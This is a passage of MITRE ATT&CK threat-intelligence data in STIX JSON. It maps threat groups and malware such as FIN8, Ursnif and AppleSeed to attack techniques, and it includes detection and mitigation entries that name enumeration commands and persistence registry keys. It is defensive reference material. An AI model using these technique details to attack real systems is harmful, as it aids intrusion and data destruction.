9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-06T19:20:35.307Z", "description": "[Mustard Tempest](https://attack.mitre.org/groups/G1020) has used implants to perform system reconnaissance on targeted systems.(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e08fbaf9-0efe-41b1-99f7-ec61f38b175c", "created": "2022-09-30T20:27:13.603Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:27:13.603Z", "description": "[Mis-Type](https://attack.mitre.org/software/S0084) has temporarily stored collected information to the files `\u201c%AppData%\\{Unique Identifier}\\HOSTRURKLSR\u201d` and `\u201c%AppData%\\{Unique Identifier}\\NEWERSSEMP\u201d`.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"}, {"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}, {"source_name": "Bitdefender FIN8 July 2021", "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}, {"source_name": "Symantec FIN8 Jul 2023", "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-06T15:42:22.918Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016) [FIN8](https://attack.mitre.org/groups/G0061) has also executed commands remotely via `cmd.exe`.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: Symantec FIN8 Jul 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e09816fa-78e1-439e-8b57-dfcb9f08a3fb", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor newly executed processes that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e0999d7e-deec-446b-a86b-4c8988e20a96", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. 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Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:13.210Z", "description": "[RTM](https://attack.mitre.org/software/S0148) has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within.(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0bb9da4-4cf5-4fcc-89c9-2cf174a34cae", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). 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(2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can fill a victim's files and directories with zero-bytes in replacement of real content before deleting them.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-13T11:32:22.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e0ce4a5f-ac3b-4d61-b540-c5c3c434beb0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. 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Retrieved November 20, 2020."}], "modified": "2020-11-24T21:19:49.189Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up Facebook pages in tandem with fake websites.(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e122c13d-078d-4404-b2a0-e0e2341dbd2e", "type": "relationship", "created": "2021-04-12T19:26:30.386Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike MUSTANG PANDA June 2018", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "description": "Meyers, A. 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(2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. 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Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command <code>ipconfig</code> to obtain information about network configurations.(Citation: TrendMicro EarthLusca 2022)", "modified": "2022-07-18T18:32:37.796Z", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e13ba463-59c5-4e50-9aeb-420ab5e677db", "type": "relationship", "created": "2021-12-07T14:58:11.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. 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Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", "source_name": "Technospot Chrome Extensions GP"}], "modified": "2021-04-27T19:56:54.623Z", "description": "Set a browser extension allow or deny list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e14101d9-0b43-4416-a25b-cdb0f9f37ef9", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e145eb03-1e0b-4062-ab24-20269e3e85d0", "created": "2022-07-05T13:50:35.704Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[POLONIUM](https://attack.mitre.org/groups/G1005) has used valid compromised credentials to gain access to victim environments.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-09T15:02:56.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1492807-b520-412b-9df7-105aefc29deb", "type": "relationship", "created": "2019-04-17T13:23:24.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT33 Guardrail", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}], "modified": "2020-03-20T18:03:11.276Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode command and control traffic.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1522574-0851-490e-8e52-0802cadfd791", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). 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Retrieved April 27, 2020.", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T05:11:01.935Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a custom encryption scheme for communication between scripts.(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301", "type": "relationship", "created": "2017-05-31T21:33:27.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Citizen Lab Stealth Falcon May 2016", "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", "url": "https://citizenlab.org/2016/05/stealth-falcon/"}], "modified": "2020-03-17T02:38:48.493Z", "description": "After data is collected by [Stealth Falcon](https://attack.mitre.org/groups/G0038) malware, it is exfiltrated over the existing C2 channel.(Citation: Citizen Lab Stealth Falcon May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e15a0598-662d-4b09-90fc-5f6d3ebdffd3", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor for newly constructed services may create or modify Launch Daemons to execute malicious payloads as part of persistence.", "source_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e15a2065-49a7-435f-b9ad-b45c4906aa74", "type": "relationship", "created": "2021-12-06T16:10:28.318Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. 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(2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. 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(2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Microsoft Actinium February 2022)", "modified": "2022-04-15T13:45:35.852Z", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1ba1028-0125-4f0e-8ccd-9273deac9d18", "type": "relationship", "created": "2019-06-05T21:30:37.396Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Ursnif Nov 2017", "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."}], "modified": "2019-06-24T16:46:20.892Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used process hollowing to inject into child processes.(Citation: FireEye Ursnif Nov 2017)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1bcdc6c-771a-4606-b7f4-cdfbef5efc34", "type": "relationship", "created": "2021-04-05T20:52:47.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft DUBNIUM June 2016", "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}], "modified": "2021-04-22T14:35:25.539Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has exploited Adobe Flash vulnerability CVE-2015-8651 for execution.(Citation: Microsoft DUBNIUM June 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1bf83d4-90ce-4773-9b44-340c69e17de8", "type": "relationship", "created": "2020-08-03T19:28:18.093Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-08-03T19:28:18.093Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has used a fast flux DNS for C2 IP resolution.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1c6ae29-cbe2-46f1-b415-fe39fd419a6e", "type": "relationship", "created": "2021-08-05T12:38:31.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T22:48:29.687Z", "description": "Data loss prevention can detect and block sensitive data being copied to USB devices.", "relationship_type": "mitigates", "source_ref": "course-of-action--65401701-019d-44ff-b223-08d520bb0e7b", "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1caf917-c15f-4388-8ca0-6cdefd01da8f", "type": "relationship", "created": "2021-09-07T14:30:30.941Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:09.944Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) can check the Registry for the presence of <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\last_edate</code> to determine how long it has been installed on a host.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e1cf08cf-e483-44a1-bdfe-cdfa424d69e5", "created": "2021-06-10T15:48:43.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-20T16:57:37.333Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to create the Registry key name <code>EstsoftAutoUpdate</code> at <code>HKCU\\Software\\Microsoft/Windows\\CurrentVersion\\RunOnce</code> to establish persistence.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1d0aa1d-c1ce-4cbc-bed2-097d6ea256c4", "type": "relationship", "created": "2021-11-30T19:28:25.894Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-11-30T19:28:25.894Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can use junk code to hide functions and evade detection.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1d0ec8e-0970-4737-9605-1cf8a3ba1371", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-17T00:09:25.827Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather network share information.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1d10988-f976-4856-a8bd-e85d5d6af2dc", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for newly constructed files in common folders on the computer system.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1d62223-d58c-4220-bd83-301128199908", "type": "relationship", "created": "2021-08-05T13:12:05.086Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T22:44:12.175Z", "description": "Data loss prevention can detect and block sensitive data being uploaded via web browsers.", "relationship_type": "mitigates", "source_ref": "course-of-action--65401701-019d-44ff-b223-08d520bb0e7b", "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e1d6806f-8c00-4434-8957-4a86c3c7411b", "created": "2022-03-30T14:26:51.854Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for execution of commands and arguments associated with enumeration or information gathering of local accounts and groups such as <code>net user</code>, <code>net account</code>, <code>net localgroup</code>, <code>Get-LocalUser</code>, and <code> dscl</code>.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", "modified": "2022-04-14T14:03:25.925Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e1e07e90-7012-4a38-82b4-e521ef21e8d9", "created": "2022-04-09T19:44:09.464Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC FoggyWeb September 2021", "url": "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "description": "Ramin Nafisi. 